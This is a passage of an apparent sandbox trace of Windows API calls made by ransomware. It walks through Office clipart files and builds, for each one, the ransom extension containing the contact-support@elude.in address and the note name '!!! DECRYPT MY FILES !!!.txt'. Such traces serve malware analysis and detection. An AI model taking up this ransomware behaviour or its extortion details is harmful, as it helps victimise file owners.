[0137.588] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x244) returned 0x670860 [0137.588] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00705_.WMF", cAlternateFileName="")) returned 1 [0137.588] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 1 [0137.588] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf") returned 0x44 [0137.588] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.588] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.588] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.588] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.588] GetProcessHeap () returned 0x630000 [0137.588] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x248) returned 0x670860 [0137.588] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01015_.WMF", cAlternateFileName="")) returned 1 [0137.588] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 1 [0137.588] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf") returned 0x44 [0137.589] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.589] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.589] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.589] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.589] GetProcessHeap () returned 0x630000 [0137.589] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x24c) returned 0x670860 [0137.589] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01039_.WMF", cAlternateFileName="")) returned 1 [0137.589] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 1 [0137.589] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf") returned 0x44 [0137.589] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.589] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.589] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.589] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.590] GetProcessHeap () returned 0x630000 [0137.590] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x250) returned 0x670860 [0137.590] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01138_.WMF", cAlternateFileName="")) returned 1 [0137.591] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 1 [0137.591] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf") returned 0x44 [0137.591] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.591] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.591] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.591] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.591] GetProcessHeap () returned 0x630000 [0137.591] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x254) returned 0x670860 [0137.591] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01139_.WMF", cAlternateFileName="")) returned 1 [0137.592] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 1 [0137.592] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf") returned 0x44 [0137.592] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.592] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.592] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.592] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.592] GetProcessHeap () returned 0x630000 [0137.592] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x258) returned 0x670860 [0137.592] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01140_.WMF", cAlternateFileName="")) returned 1 [0137.592] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 1 [0137.592] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf") returned 0x44 [0137.592] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.593] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.593] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.593] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.593] GetProcessHeap () returned 0x630000 [0137.593] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x25c) returned 0x670860 [0137.593] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x85c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01143_.WMF", cAlternateFileName="")) returned 1 [0137.593] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 1 [0137.593] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf") returned 0x44 [0137.593] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.593] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.593] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.593] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.594] GetProcessHeap () returned 0x630000 [0137.594] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x260) returned 0x670860 [0137.594] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xadc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01145_.WMF", cAlternateFileName="")) returned 1 [0137.594] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 1 [0137.594] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf") returned 0x44 [0137.594] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.594] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.594] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.594] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.594] GetProcessHeap () returned 0x630000 [0137.594] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x264) returned 0x670860 [0137.594] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01146_.WMF", cAlternateFileName="")) returned 1 [0137.594] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 1 [0137.594] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf") returned 0x44 [0137.595] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.595] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.595] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.595] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.595] GetProcessHeap () returned 0x630000 [0137.595] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x268) returned 0x670860 [0137.595] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01151_.WMF", cAlternateFileName="")) returned 1 [0137.595] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 1 [0137.595] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf") returned 0x44 [0137.595] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.595] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.595] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.595] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.596] GetProcessHeap () returned 0x630000 [0137.596] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x26c) returned 0x670860 [0137.596] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01152_.WMF", cAlternateFileName="")) returned 1 [0137.596] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 1 [0137.596] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf") returned 0x44 [0137.596] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.596] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.596] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.596] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.597] GetProcessHeap () returned 0x630000 [0137.597] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x270) returned 0x670860 [0137.597] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01157_.WMF", cAlternateFileName="")) returned 1 [0137.597] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 1 [0137.597] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf") returned 0x44 [0137.597] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.597] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.597] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.597] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.598] GetProcessHeap () returned 0x630000 [0137.598] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x274) returned 0x671c18 [0137.598] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01160_.WMF", cAlternateFileName="")) returned 1 [0137.598] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF", len=0x44 | out: 